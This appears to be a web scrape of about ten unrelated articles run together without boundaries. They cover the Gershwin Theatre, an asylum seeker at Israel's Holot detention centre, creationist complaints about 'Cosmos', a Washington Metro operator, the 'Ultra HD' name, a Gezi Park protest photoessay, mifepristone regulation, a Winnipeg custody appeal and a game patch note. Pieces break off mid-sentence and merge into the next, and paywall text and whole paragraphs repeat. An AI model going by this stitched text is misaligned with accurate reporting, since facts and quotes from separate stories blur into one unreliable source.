The Gershwin Theatre is a Broadway theatre located at 222 West 51st Street in midtown-Manhattan in the Paramount Plaza building. The theatre is named after brothers George Gershwin, a composer, and Ira Gershwin, a lyricist. It has the largest seating capacity of any Broadway theatre with 1,933 seats, host to large musical productions.[2] The Gershwin has been home to the blockbuster musical Wicked since 2003.
History and Architecture [ edit ]
Designed in an modernist Art Nouveau style by set designer Ralph Alswang, it is situated on the lower levels of a towering office complex built at an estimated cost of $12.5 million[3] on the site of the historical Capitol Theatre. Escalators lead from the street level through-block passageway entrance to the expansive lobby, home to The American Theatre Hall of Fame. With a 65-foot wide adjustable proscenium arch and 80-foot wide stage, it is one of the largest Broadway stages, ideal for very large musical productions.[4] A large orchestra with stadium seating, and mezzanine fill the expansive auditorium. It opened as the Uris Theatre on November 28, 1972 (named for the building developer Uris Buildings Corporation) with the musical Via Galactica starring Raul Julia. It proved to be an inauspicious start for the venue, with the first show to lose a million dollars closing after only seven performances. From 1974-76 it served as a concert hall for limited engagements by a number of legendary pop music and jazz performers, before it began to host large musical productions with Porgy and Bess in 1976. The venue was host to the Tony Awards in 1984, 92, 93, and 1999. During the 37th Tony Awards ceremony held June 5, 1983, the theatre was rechristened to honor the Gershwins.[5] The Gershwin was heavily modified for the Broadway production of Andrew Lloyd Webber's musical Starlight Express in 1987, a massive production costing over $8 million. Starlight would go on to run nearly 800 performances at the Gershwin.[6]
Notable productions [ edit ]
Box office record [ edit ]
Wicked set a box office record for the Gershwin Theatre. The production grossed $3,201,333 over nine performances for the week ending December 29, 2013. This was also the highest one-week box office gross income made by any show in Broadway history, until that time.[7]Photos by the author
Earlier this year, I joined a small team of doctors, nurses, and volunteers from Physicians for Human Rights, an Israeli non-profit organization, on a trip to Holot Open Detention Center. Situated in the heart of the Negev desert, miles from any major city, Holot was erected in late 2013 to hold 3,000 of the 53,000 African asylum seekers who have made their way to Israel since the mid-2000s, mostly from Sudan and Eritrea.
Asylum seekers at the Holot Open Detention Center are free to enter and leave in between three daily headcounts. Even if people do leave, by the time they reach the nearest city, they will only have an hour or two before they have to report back to Holot. They are prohibited from working, except for low-paying jobs cleaning the prison, and rely on a meager allowance of about $45 every ten days, according to Haaretz, a popular Israeli newspaper. With this money, they must buy clothes, call family members, and pay for transportation.
According to the Guardian, Prime Minister Binyamin Netanyahu called the asylum seekers “infiltrators” whose presence in Israel is illegal and a demographic threat to the ethnic identity of the Jewish state. Until they create a path to legally deport the asylum seekers, the authorities maintain that these people must be kept behind bars. In the words of former Minister of the Interior Eli Yishai, “We will make the lives of infiltrators bitter until they leave.”
After Israel's High Court declared the policy of imprisoning illegal migrants for three years unconstitutional, the Israeli government found an original way to ruin refugees' lives. Migrants are now given an ultimatum: indefinite detention, in the newly opened Holot facility, or “voluntary” deportation to Uganda. The 1951 Refugee Convention prevents Israel from deporting asylum seekers straight back to their homelands, where their lives may be in serious danger. To solve this problem, Israel struck an agreement with Uganda for the transfer of African asylum seekers in exchange for agricultural aid.
The effort to drive the asylum seekers out of the country has intensified in recent months. Hundreds of refugees have received orders to report to Holot. In response to the government’s strategy, a wave of demonstrations has swept the country. The protestors have called for Israel to finally review the refugee status of the asylum seekers, which, so far, Israel has completely neglected to do.
When I visited the prison, a young man named Filmon was among the several dozen detainees waiting in line to receive treatment in PHR's small makeshift clinic at Holot's parking lot. He approached me and immediately began telling me about his journey from Eritrea to Israel and his life in Israel's jail system. We exchanged phone numbers and planned to meet at another time.
Three days later, he called me. “Please come. I want to talk,” he said. I drove down to Holot with Helen, my Eritrean-American friend, who helped me translate his messages. Filmon stood among a small crowd in front of a preaching Eritrean priest. We sat down and discussed the conditions in Holot, life in Eritrea, and his uncertain future.
VICE: When you crossed the border from Sinai, you were told you were going to prison. Did they tell you why?
Filmon: No. Israeli soldiers just gave us a paper saying we had to go to jail, and took us to Saharonim [the jail adjacent to Holot]. I was there until one month ago, and since then I have been in Holot. Saharonim is ten times worse. You cannot leave at all. When we do something bad, like coming back too late at night, we are sent to Saharonim as punishment. You are put in a small room alone. There is not much light, just a small door for food. They don't tell us how long we will stay there. It can be ten to 20 days and sometimes more.
What are the conditions like in Holot?
We are ten people in a room. The bunk beds are hard. It gets very cold at night—there is no heater, and there are not enough blankets. There is also not enough food. We eat rice, but it is like mud. In the morning we get a small yogurt and bread. We sometimes share to make the portions bigger. No one checks if the food is edible.
Why did you leave Eritrea to come to Israel?
In Eritrea they forced me to go to the army, so I would not get a chance to have an education. I had been a soldier there for six years. If I had stayed, I would have been in the army until I was 40 or 50 years old. Only after one year and six months can you come home for 20 days. After that, [you can only come home] once a year.
What is life like in the Eritrean army?
There is no war, but you always have to be ready. All you do is train. If you try to escape and are caught, you go to a prison camp for five to eight years, where they starve and torture you. I had been in a military jail for one year. This is why we chose to leave our country. There is no future when you are in the Eritrean army.
What happened when you left Eritrea?
When I escaped Eritrea, the Rashaida, the bandits, they put us by force into a car and took us to Sinai. It happened very quickly. They were waiting for us in Sudan. They took us to a camp where they tortured us. They heated a piece of iron and burnt me on my face and my arm. They told me to have sexual contact with the girls and with the boys, too. If you don't, they punish you.
How long did you stay at the camp?
I was there for three months. They demanded money from my family, $33,000. [Such absurd ransom demands are common, according to BBC reports]. My family had to sell the house and the gold. They took money from another family. I don't know exactly how they paid. After three months, they released me. They put me on the road and told me to start walking. That's how I reached the Israeli border. I did not know I was going to Israel when I left Eritrea. I just escaped.
Do you want to stay in Israel?
I just want to be in a free country that accepts me. I will be happy to stay in Israel if they let me, but I don’t know Israel. I don't know Tel Aviv. I've been in Israel for a year and a half, and I only know its prisons.Neil deGrasse Tyson via Flickr user John Roling
Creationists held a pity party for themselves Thursday because “Cosmos” isn’t being fair and balanced to their beliefs.
“Creationists aren’t even on the radar screen for them, they wouldn’t even consider us plausible at all,” said Danny Falkner, of Answers In Genesis, which has previously complained about the show.
Falkner appeared Thursday on “The Janet Mefford Show” to complain the Fox television series and its host, Neil deGrasse Tyson, had marginalized those with dissenting views on accepted scientific truths, reported Right Wing Watch.
“I don’t recall seeing any interviews with people – that may yet come – but it’s based upon the narration from the host and then various types of little video clips of various things, cartoons and things like that,” Falkner said.
Mefferd said the show should at least offer viewers a false compromise.
“Boy, but when you have so many scientists who simply do not accept Darwinian evolution, it seems to me that that might be something to throw in there, you know, the old, ‘some scientists say this, others disagree and think this,’ but that’s not even allowed,” she said.
Tyson recently said science reporting should not be balanced with nonscientific claims, so that seems unlikely he would offer that sort of fallacious argument on his own show.
“You don’t talk about the spherical Earth with NASA, and then say let’s give equal time to the flat Earthers,” Tyson told CNN. “Plus, science is not there for you to cherry pick.”
Falkner complained that Tyson showed life arose from simple organic compounds without mentioning that some believe that’s not possible.
“I was struck in the first episode where he talked about science and how, you know, all ideas are discussed, you know, everything is up for discussion – it’s all on the table – and I thought to myself, ‘No, consideration of special creation is definitely not open for discussion, it would seem,’” Falkner said.
Listen to this audio clip posted online by Right Wing Watch:
[Image: Neil deGrasse Tyson via Flickr user John Roling]Metro officials are taking action against a train operator who refused to move his train because he claims his shift had ended. (Published Wednesday, Oct. 26, 2016)
Washington Metro officials are taking action against a train operator who officials say refused to move his train because he claimed his shift had ended.
The incident happened at about 8 p.m. Sunday at the Fort Totten station in Northeast D.C.
An eyewitness told News4 two Metro employees were discussing operating the train when one of the operators refused to move his train. The operator walked off the train and down the platform.
The train was being repositioned within the system and was not carrying passengers at the time. But the incident lasted several minutes, according to witnesses. The train was stopped at the platform throughout the incident.
S. Carolina Pediatrician Stops Taking Unvaccinated Patients
A South Carolina pediatrics office is turning away unvaccinated patients, citing the health and safety of other immunocompromised children who are in danger of catching contagious diseases in the waiting room. Parents say their choices for their unvaccinated children are shrinking. (Published Tuesday, Feb. 26, 2019)
Metro says the train was eventually moved out of the station by a supervisor who was present at the time.
"The train operator who was to operate the train from Fort Totten to Greenbelt refused to do so, claiming he was off duty. So, his supervisor, who was on the platform, ultimately operated the train," Metro Chief spokesperson Dan Stessel wrote in an email. "Appropriate action will be taken with regard to the operator."
Metro's general manager, Paul Wiedefeld, said he expects employees to "use basic common sense."
"We gotta find out what's going on with that, Wiedefeld said. "I expect all of our employees to use basic common sense. I understand sometimes there's work rules and things like that but we'll find out what's going on with that and we'll deal with it.
"I'm asking all of our employees to step up and think about the customers first," Wiedefeld said.
Metro officials say the train was never abandoned, and there was no impact to service. However, an eyewitness who wished to remain anonymous, told News4 the incident lasted well over 10 minutes and riders were waiting for other trains that were prevented from entering the Fort Totten station.
R. Kelly Facing 10 Counts of Criminal Sexual Abuse
R. Kelly has been charged with 10 counts of criminal sexual abuse in Cook County, Illinois. (Published Friday, Feb. 22, 2019)
A front-line Metro source told News4 this problem is indicative of the culture that Metro is trying to change.
"What if that supervisor wasn't there to move that train?" one source asked. "This shows a lack of care toward the customer."4K technology was one of the big topics of conversation at the IFA trade show in Berlin last month, but going forward, it will be known as "Ultra High-Definition" or "Ultra HD," the Consumer Electronics Association (CEA) announced this week.
The CEA's Board of Industry Leaders voted in favor of the moniker, and it will be used on 4K products rolling out this fall.
4K, or Ultra HD, sets are four times the resolution of a standard HDTV. Current HDTVs display content at 1080p (1,920 by 1,080 pixels), or slightly lower 1080i or 720p resolution. Ultra HD video is the next step in high definition, with a resolution of approximately 4,000-by-2,000 to 4,000-by-3,000, quadrupling or sextupling the number of pixels in the picture.
"Ultra HD is the next natural step forward in display technologies, Gary Shapiro, CEA president, said in a statement, adding that it offers consumers an "incredibly immersive viewing experience with outstanding new levels of picture quality."
The group landed on the name after extensive consumer research indicated that Ultra HD was the best way to communicate the technology's superior viewing experience.
CEA also defined what will be considered an Ultra HD TV, monitor, or projector. It must have a display resolution of at least 8 million active pixels, with at least 3,840 horizontally and at least 2,160 vertically. The products must also have a 16:9 aspect ratio, and at least one digital input capable of carrying and presenting native 4K format video at full 3,840-by-2,160 resolution.
"This new terminology and the recommended attributes will help consumers navigate the marketplace to find the TV that best meets their needs," Shapiro said.
"TVs remain highly sought after and were the second most frequently mentioned device on consumer wish lists this holiday season, behind only tablets," Shapiro said. "There has never been a great time to be a consumer of televisions and displays."
Ultra HD tech will be on display at the 2013 International CES annual consumer technology trade show Jan. 8 to 11 in Las Vegas. For more, check out the slideshow above, which features the 4KTVs that were at IFA.
For more from Stephanie, follow her on Twitter @smlotPCMag.The past three weeks have seen an eruption of popular resistance in Turkey, with protesters occupying parks and barricading cities; in response, the Turkish police have killed at least four people and injured thousands. To offer an inside perspective on these events, we present a chronological photoessay from Istanbul and an agitprop video from Ankara, both freshly translated into English. Stay tuned for more coverage.
“Why we are breaking things”: A video from Ankara.
The following is a translation of a chronological photoessay offering a personal overview of the recent uprising in Turkey that began with resistance to the development of Istanbul’s Gezi Park and culminated in a defiant occupation of Taksim Square, accompanied by confrontations all around the country. The photoessay originally appeared in Turkish; endnotes (i.-v.) follow the text.
1: The neighborhood of Beşiktaş, May Day 2013. A reminder that the revolt did not start out of nowhere. The violent action of the police to prevent workers from celebrating on Taksim Square is only one example of the repressions and prohibitions that have brought society to a boiling point.
2: The north end of Gezi Park. Early morning hours of May 28. The first bulldozer has come to uproot trees and activists who have worked together to fight previous urban renewal projects such as the demolition of the Emek Movie theater and the gentrification of Tarlabaşı and Sulukule rush to the scene to take hold of their own destiny. When we first looked at this gaping hole we never thought that it would be big enough for the demands of all who were oppressed in Turkey.
3: The morning of May 28: After the first police action. The bulldozer returns to finish the job and is uprooting trees. This extra-legal action and the police violence that accompanied it led the longtime discontent to turn into rage.
4: Those resisting urban renewal attempting to replant a tree. One of the first examples of the solidarity and cooperation that would become part and parcel of the park occupation.
5: The evening when the genie starts coming out of the bottle. People coming out of work converge to prevent the uprooting of trees and are expressing other social discontent. Our humble position as humans under the towering trees is apparent.
6: Afternoon of May 29, the police have attacked again and images of a women in red being pepper sprayed have now gone viral. The demands of Taksim Solidarity are being read from the megaphone. The demands keep piling up and now include halting the demolition of a historic train station Haydarpaşa, numerous dam projects in Anatolia, and coal-powered energy plants. Gezi Park has become a node that speaks to all of Turkey.
7: Our greatest legitimacy is the mass participation in our action. The park is packed by people who come after work. Although sometimes it resembles a festival, in reality it is an action camp. The crowd is facing a stage where there are forums, people chanting and singing.
8: The morning of May 31. As soon as we wake up, we check the internet and realize that despots don’t sleep while we do. The tents have been burnt, sleeping activists have been teargassed, and the park evicted. When we try to get to Taksim Square from Istiklal, this is the scene that awaits us. Who knows how many of those police barriers were to become part of the barricades in the following days…
9: We go around the park to the other side to get to a higher vantage point. This is the park after the police raid. The cops are resting under the trees. Apparently everyone needs their shade.
10: The police action at the square. Two TOMAs (Intervention Vehicles for Social Situations) are attacking whoever they see. A photo showing the bravery of those resisting.
11: Municipal workers unload barricades to prevent people from entering the public space of Gezi Park. The police enclose the whole of the park, yet our resolve and resistance is not as easy to enclose.
12: Mete Avenue. You can see the box of pastries on the bottom right corner. About 30 seconds before this photo was taken, about 20 people were calmly having breakfast at the side of the park.
13: People are being pushed down Mete Avenue as tear gas canisters start exploding everywhere. A tourist bus is in the background and in the distance one can observe a billboard for the “Turkish Olympics” a symbol of the imperial neo-ottoman aspirations of the current government.
14: A picture taken from the barriers surrounding the park as the police are having breakfast after their attack. When they realize I am taking their picture, they also take mine.
15: After the attack in the morning, a call goes out to reconverge at 1 pm. This is a moment when we realize that people are overcoming their fear. Hundreds of people are sitting down under the gaze of TOMAs despite the police violence they have experienced in the morning.
16: Five minutes after the previous photograph was taken. The tear gas thrown into the crowd empties the square and we run into the streets of Gümüşsuyu, Kazancı, and Istiklal.
17: The police throw tear gas into Istiklal from the square to stop people from advancing. A nervous melee ensues and lasts hours. Every time they are dispersed, the crowd comes back together.
18: Just as guerillas know each stone of the mountains where they live, we are in control of each doorway and window around Istiklal Avenue. We go through the side streets, hide within shops that are about to close their shutters, and go back to the street after we catch our breath. This photograph makes it clear who is free and who is enslaved.
19: We get back to the square from the side streets and watch the police action from there. At that moment thousands of people are confronting the police on Istiklal Avenue. They want to get to the square and we want to get to them. Between us are those “just doing their jobs” and the cloud of tear gas that started it all.
20: The night of May 31. One of the happiest moments of our lives. Thousands of us are enjoying the pleasure of finally taking hold of our futures. Up front people take shifts as tear gas is being launched into the crowd. The isolation we felt is totally shattered as we realize that we are not alone. Apparently this city is not as desolate as we had imagined.
21: The Morning of June 1. After a few hours of sleep, we run back into the streets worried that we are missing out on something. The teargas is like a magnet and pulls us closer. Half an hour later, the Saturday Mothers (i.), who have owned that square for more than a decade, will arrive and restate their rightful demands.
22: The TOMA in the distance and the police accompanying it are about to push the crowd to Tünel Square, at the opposite end of Taksim Square on Istiklal Avenue. It’s clear in this photo who is truly helpless.
23: We are trying to get back to Istiklal on the roads that lead from Karaköy and Tophane. This is the street that I live on and there is a barricade constructed in front of my house; it is impossible to move forward. Even the relatively affluent residents of this neighborhood have put on dust masks and joined the uprising. The Gezi resistance has foundations in class struggle, but the masses on the street are quite heterogenous.
24: One of the side streets leading to Istiklal Avenue and the smoke approaching from the distance. A ghost travels over Beyoğlu and it seems as if everything once solid is evaporating.
25: The point where the clashes in the square overcome the police. The police walk down the avenue towards Tünel and leave the square to the people resisting. This is a setup–as soon as people get to square, they are gassed one last time–but we have taken the square. This must be what victory feels like.
26: 36 hours earlier, we were ejected from this square with tear gas canisters whizzing by our heads. Now we are back. It’s too early to celebrate, but definitely a moment deserving of joy.
27: For the first time since the raid early on May 31, we are back in the park. It is the evening of June 1. The people with masks on their faces sit on the ground both somewhat bewildered and victorious. In the upcoming days they will organize life in the park, putting up tents, kitchens, and libraries and relearning what solidarity means.
28: Leftist parties and organizations put their signs and flags on the monument in the middle of the square. Thıs is the postponed May Day celebration.
29: As we mentioned, it was too early to celebrate. The evening of June 1, Akaretler. We are trying to reach the Bosphoros from above and the police are gassing us from below in an extreme manner. Beşiktaş is a war zone and people are resisting the police for hours. Not only Beşiktaş but from Izmir to Dersim, from Ankara to Adana, almost every city in Turkey is Taksim.
30: “The Lightbulb Blew Out” (ii.). The walls are covered in graffiti. This is also a little bit of a revolution in humor; if one can overlook the sexist graffiti, every shutter is imbued with wit.
31: The morning of June 2. We have the park. The anger of workers who are condemned to insecure and flexible work give direction to the movement. The vigil which takes place the first sunday of each month for workers who have died due to their working conditions takes place at Gezi Park this month.
32: Another surreal moment. Hundreds of people are on top of the Ataturk Cultural Center, the towering building at one end of the square. To one side is the Taksim Square, to another the Golden Horn and even further the Bosphorus. We are reminded why we stand in front of water cannons and teargas. This city is too beautiful to be abandoned to those who want to auction it off piece by piece.
33: The Gezi Resistance belongs most of all to the youth. We are waiting for the high schools to end for the summer and final exams to finish in universities so that Gezi Park can become a different kind of school where countless experiences can be shared. It is hard not to be jealous of the youngsters who have had this experience at such an early age and learned that what is supposedly impossible is in fact achievable.
34: The Sıraselviler Barricade. Sure, we learned later that the preventative power of the barricades was limited, especially without people behind them. Still, they were our pride and gave us psychological support. Today, we don’t have barricades, but we are confident and we have taken our destiny in our own hands. Barricades are not only constructed from dumpsters and piles of debris.
35: The names of those murdered in Roboski (iii.) are given to the trees in Gezi Park. The mother of Seyit Öncü: “As my son was leaving the house with his bags in his hand, he appeared to be in a rush. Just like any other mother, I went to the door and said “put your scarf around your mouth so you don’t catch a cold,” he didn’t want to upset me so he took the scarf from his sister’s hand and kissed me. I went up and kissed him on his forehead as well. He went down the stairs and looked at me one last time as he went out the door.”
36: The ten days between June 1 and June 10 were spent constructing a new existence in the park, while at the same time trying to express, somewhat insufficiently, our solidarity with the violence taking place in other cities. All while trying to be vigilant against a possible police raid. This is Gümüşsuyu; hundreds of youth are marching towards the barricades to show support to those guarding them 24 hours a day.
37: A sign of the communal life we attempted to construct at the park. Workshops, theater plays, film screenings, and forums. The park was not just a place we were defending, but also a place where we were getting organized by talking to each other and producing a new life.
38: The Atatürk Cultural Center, slated for demolition by the government, and the banners that keep multiplying day after day. On the other end of the square is a huge portrait of Ibrahim Kaypakkaya as if he is looking at Deniz Gezmiş, whose portrait is on the top left of the building (iv.)
39: Portraits of Mehmet Ayvalıtaş and Abdullah Cömert who were murdered by the police during the uprising are posted on the trees in Gezi Park. In the upcoming days, two more people were to die: metal worker Ethem Sarısülük and police officer Mustafa Sarı. Once again, the prime minister overlooked the dead and talked about the monetary losses of the shop owners around Taksim.
40: The library constructed at Gezi Park. Just one example of the solidarity exemplified within the park. For days, those in the resistance shared books, food, and tea with each other, trusted the volunteer doctors to take care of them, and helped each other unconditionally. Even if we leave this moment with no concrete gains, we now share the beautiful experience of solidarity.
41: Another occupation of a park at Bekar Street in Beyoğlu. A much smaller sibling of Gezi Park. Activists who occupied the park are cleaning the debris from this abandoned lot in order to transform it into a useful public space.
42: Hrant Dink Avenue and Pinar Selek Square. One killed by lies and the other forced into exile by other lies (v.); they are with us at Gezi.
43: Morning, June 11, Sıraselviler Avenue. We are awakened by yet another alert of a police raid and run into the streets. The police have broken through the barricades and entered the square saying that they are going to remove the banners from the Atatürk Cultural Center and the flags from the Atatürk Monument.
44: A photo from the clashes taking place on the west side of the park. The police are attacking once again with water cannons, tear gas, and sound bombs. On the other side, a smaller group is throwing stones at the police. The media, absent for days, is there to witness this somewhat theatrical standoff. A lot of people are still inside the park and some are trying to convince those fighting back to choose non-violent resistance instead.
45: During the clashes in the morning, the mayor had announced from the police loudspeakers that “We are here to get rid of the banners on the square, we are not going to attack the park.” The photo speaks for itself.
46: The evening of June 11. Taksim Square and Gezi Park are crammed with people, and then the police attack again with tear gas around 8:15 pm. We have learned not to panic and to help each other once the gas hits. Many people were injured and taken to the hospital that day, but thanks to the calm of those resisting the police, nobody died. Dozens of tear gas canisters were launched into the park.
47: German pianist David Martello who brought his piano to the barricades on the 12th of June was incredibly effective in giving spiritual ammunition to all who were tensely waiting for the next police attack.
48: The morning of June 15. The government speaks of a referendum and the resistance is in danger of being pigeonholed as focusing only on the issue of Gezi Park. People are speaking of reducing the number of tents. No matter what, we are left with the knowledge that resistance is now possible. Even if we might go back to our normal lives one day, now we know the importance of action and how important it is to get organized. What is meaningful is not only filling the park for two weeks, but showing our true desires in everyday life and winning over those who might not think like us. The patience and perseverance of the Saturday Mothers should act as an example.
49: The evening of June 15. All day, different groups have talked about the future of the park. Many political parties and organizations have agreed to take down their tents and converge under one large tent. But the hatred inside the prime minister does not die down, and he talks of evacuating the park within 24 hours at his rally in Ankara. We understand that all those negotiations were for show. This picture is from the beginning of the attack against the park. The TOMA is now filled with pepper spray instead of water.
50: Late night June 15, Sıraselviler Avenue. The authorities believe that they can scare the people into submission with gas, water, lies, and arrests. “This is only the beginning, the struggle goes on!”
Endnotes
Saturday Mothers: A grouping of mostly Kurdish mothers whose children have been murdered or disappeared by the state or their paramilitary groups. They have been staging a sit-in demanding justice every saturday since 1995. The symbol of the AKP is a lightbulb. On December 28, 2011, the Turkish military bombed the village of Roboski on the border of Turkey and Iraq; 34 villagers between the ages of 12 and 41 were killed in the attack. Two student revolutionaries from the late 60s and early 70s who were killed by the state. Hrant Dink is an Armanian journalist assassinated on January 19 2007 by Turkish fascists for being an outspoke critic of the government. Pınar Selek is a Turkish sociologist framed for the bombing of the Istanbul Spice Bazaar in 1998.
Further Reading
Occupied Taksim Video coverage at Global Uprisings More news in EnglishNelson Mandela's memorial coverage was bound to take something of a celebratory tone -- but CBS News may have taken things a step too far.
During Tuesday's coverage of the late South African |
first hearing about mifepristone and its eventual approval, states across the US were busily passing parental consent laws and working to make late-term abortion illegal.
But the abortion pill wasn't out of the clear yet. In June, the New York Times reported the agency was considering additional regulations. These included "restricting prescribing privileges to doctors who perform surgical abortions," which would largely defeat the hope of mifepristone expanding abortion access beyond dedicated clinics.
The medical affairs vice president for Planned Parenthood of America, Dr. Michael Burnhill, said at the time that the FDA was also proposing requirements that "prescribing doctors be trained in mifepristone's use, be trained in reading ultrasound scans, and maintain admitting privileges at hospitals with emergency facilities no more than an hour from their offices, in case women experience complications." The last of these requirements bears a striking similarity to some of the unnecessary, burdensome regulations passed in 2013 by the Texas government, which shut down the majority of abortion clinics in the state and were deemed unconstitutional last year.
Read more: The Activists Fighting to Legalize DIY Abortions
''To encumber a drug like this is extremely unusual for the FDA,'' Dr. Wendy Chavkin, a professor of public health at Columbia University, told the New York Times. ''We have Viagra [which was patented in 1996 and approved in 1998] that went out in widespread fashion even though there was some suggestion that it might cause serious cardiovascular events. In contrast, [mifepristone] is a highly studied drug where the safety and efficacy have been demonstrated. That indicates how the political climate is really interfering in the science."
Indeed, anti-abortion activists insisted that mifepristone was dangerous, but the actual clinical trials suggested otherwise.
Negotiations between the FDA and the drug's manufacturer, Danco, concluded with regulations that were not quite as extreme. Still, the abortion pill still ended up being highly restricted: The FDA mandated that mifepristone fall under a set of added regulations known as a Risk Evaluation and Mitigation Strategy (REMS), which are typically only required for drugs that cause severe adverse effects. Only 74 of the approximately 1750 prescription drugs and ingredients approved by the FDA have REMS protocols. For the abortion pill, those requirements include mandating that prescribers become certified to distribute mifepristone, that patients are made to review an agreement of the potential risks, and that the drug can only be dispensed in clinics or medical offices—meaning that the prescribing health care provider cannot simply write a prescription for their patient to pick up in a pharmacy.
Over the past 16 years, we've seen that these rules haven't made the abortion pill safer for women—just harder to obtain. Some reproductive health advocates argue that these REMS protocols—like TRAP laws or "informed consent" brochures that require doctors to lie to their patients to discourage them from terminating their pregnancies—were based in politics, not research.
Read more: What Women Do When They Can't Afford an Abortion
"When the mifepristone application was first submitted to the FDA, we had high hopes that this new form of abortion would greatly improve access for women, including taking it beyond the often controversial abortion clinic setting. Indeed, there were numerous family practice clinicians who were excited about expanding their services," Elisa Wells, the co-director of the Plan C campaign, which promotes information about the abortion pill, wrote in an email. "So, it was a huge disappointment when the FDA approval process for mifepristone was driven by politics not science. This resulted in medically unnecessary restrictions that have greatly reduced access and diminished the potential of this very safe and effective form of abortion."
To this day, the REMS protocols are in place, preventing true, unburdened access to the abortion pill. Coupled with harsh, anti-abortion state laws, this is devastating for women. The FDA recently modified the label for mifepristone to cut out the unnecessary additional clinic visit for the second dose of medication, allow it to be used longer into pregnancy, and to allow medical providers, like nurses, to administer the drug. But researchers and advocates say this doesn't go far enough.
In a paper recently published in the New England Journal of Medicine, researchers under the banner of the Mifeprex REMS Study Group (Mifeprex is the brand-name for mifepristone) have called for the REMS protocol to be removed. Noting that the rate of deaths associated with medication abortion is 0.00063 percent—which is 14 times less than the rate of women who die due to childbirth in the US—and that its side effects are "minor and transient," they write that the restrictions on the pill make no clinical sense.
"We now have huge amounts of clinical data [on mifepristone], and there's nothing exceptionally dangerous about it. Many other drugs have far greater risks," said Beverly Winikoff, one of the paper's authors. "And, in any case, there's also no specific way that the REMS mitigates these supposed risks."
Lifting the REMS protocols would make it easier for both providers and women, though it's uncertain if Danco, the pill's manufacturing company, will file to do so. (The REMS protocol also happens to give the company a monopoly on the drug.)
We now have huge amounts of clinical data [on mifepristone], and there's nothing exceptionally dangerous about it.
Currently, a provider must become certified to distribute the pill by completing and sending a form that says they can assess pregnancy duration, diagnose ectopic pregnancy, and provide surgical intervention if needed. Once they've done that, they have to make the decision to stock the pill in their office or clinic—and, if they decide not to, they have to order it on a case-by-case basis, meaning the patient has to wait for it to come in, delaying care.
Winikoff explained that she has spoken with individual providers, who have told her that this is a huge deterrent to offering the abortion pill in their practices. "There's really no objective reason why this drug should not be in pharmacies like every other medication," she said.
Even if some healthcare professionals refuse to write prescriptions for mifepristone, due to the stigma that still exists around abortion, removing the REMS protocols would allow for the drug to be prescribed by willing providers via telemedicine to a wide range of patients. This would greatly expand access to women who cannot get to a clinic or doctor's office, or who don't have any in their area. Widening access to the abortion pill would also reduce the rate of late-term abortions.
In the future, perhaps, if mifepristone goes the way of Plan B, women won't need to be in contact a health care provider at all. "It is high time the REMS requirements are removed to allow women the access they deserve to these pills," Wells told me. "In many other countries, women can buy these very same pills directly off a pharmacy shelf, which we hope will be the eventual level of access in the US."Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
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"She argues... specifically that she falsely accused the father of sexual abuse of the children of the marriage and tried to alienate them from him... that she has been 'punished long enough,' " Justice Freda Steel wrote in the Appeal Court. "She submits the conditions placed on her ability to see her children as harsh, punitive and contrary to the best interests of her children."
But the high court slammed the door shut in a decision released this week, upholding a family court judge's decision to award sole custody to her estranged spouse. The woman will continue to be allowed supervised access.
The woman appeared before the Manitoba Court of Appeal last month begging for a second chance, apologizing for the bogus claims and saying she was "at most, guilty of caring too much."
A Winnipeg mother has permanently lost custody of her three children after admitting she falsely accused her ex-husband of sexually abusing them.
Hey there, time traveller! This article was published 25/4/2013 (2132 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 25/4/2013 (2132 days ago), so information in it may no longer be current.
A Winnipeg mother has permanently lost custody of her three children after admitting she falsely accused her ex-husband of sexually abusing them.
The woman appeared before the Manitoba Court of Appeal last month begging for a second chance, apologizing for the bogus claims and saying she was "at most, guilty of caring too much."
But the high court slammed the door shut in a decision released this week, upholding a family court judge's decision to award sole custody to her estranged spouse. The woman will continue to be allowed supervised access.
"She argues... specifically that she falsely accused the father of sexual abuse of the children of the marriage and tried to alienate them from him... that she has been 'punished long enough,' " Justice Freda Steel wrote in the Appeal Court. "She submits the conditions placed on her ability to see her children as harsh, punitive and contrary to the best interests of her children."
The case began shortly after the couple separated in 2003 following eight years of marriage. They initially agreed to joint custody of their three young boys, but their arrangement quickly imploded and the courts were brought in to mediate.
It was in 2006 when the woman first accused the man of molesting the children. The bombshell claim led to several months of Child and Family Services and police investigation which greatly disrupted the father's life, the Appeal Court wrote this week.
Eventually, the abuse was ruled out and the woman eventually admitted she had made it up in an attempt to discredit her ex and gain sole custody. She was never charged for the malicious allegations, although they have come back to haunt her in the child-custody dispute. The woman has twice been found in contempt of court for failing to abide by previous legal rulings in the case. She is on the hook for more than $10,000 of her ex-husband's legal costs.
A Winnipeg psychiatrist who did a court-ordered family assessment as part of the ongoing legal dispute predicted this case wasn't going to have a happy ending for all parties.
"The parents are incapable of negotiation, co-operating or conversing in an open, civil manner on any subject. As such, they are completely incapable of collaborative parenting of any kind," the doctor wrote.
This followed an earlier report from a couples' therapist who predicted back in 2002 — months before they formally separated — that big trouble was looming.
"They will spend 10 years and all their money on litigation because of their inability to agree on anything," the therapist said in a report referenced by the Appeal Court this week.
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Steel, writing on behalf of the three justices who decided the case, said that's exactly what has happened.
"This is a high-conflict domestic dispute which has been ongoing for 10 years and which has resulted in thousands of dollars of legal fees to both parents, emotional anguish to the entire family and continuing litigation," said Steel. "It is the kind of domestic dispute which is particularly ill-suited to the blunt blows of the legal system, despite the best intentions of all involved."
Both parents can no longer afford lawyers and have been self-represented for the past several years, court was told.
Another court-ordered report has found the three boys to be "happy and adapting well to life with their father." Unfortunately, the author also concluded the mother continues to be "inappropriate with the boys during her visits" in terms of trying to turn them against their father. This is why all visits must now be supervised, the Appeal Court ruled.
The mother has also been ordered to undergo a psychiatric assessment because of concern she may have a "delusional belief system or some other mental-health issue." To date, she has refused to comply on the grounds she can't find a psychiatrist willing to work with her.
www.mikeoncrime.comThe PBE has been updated! Today's update includes the splash art for the upcomingskin, several tentative balance changes, a few dragon related changes, and more!Continue reading for more information!
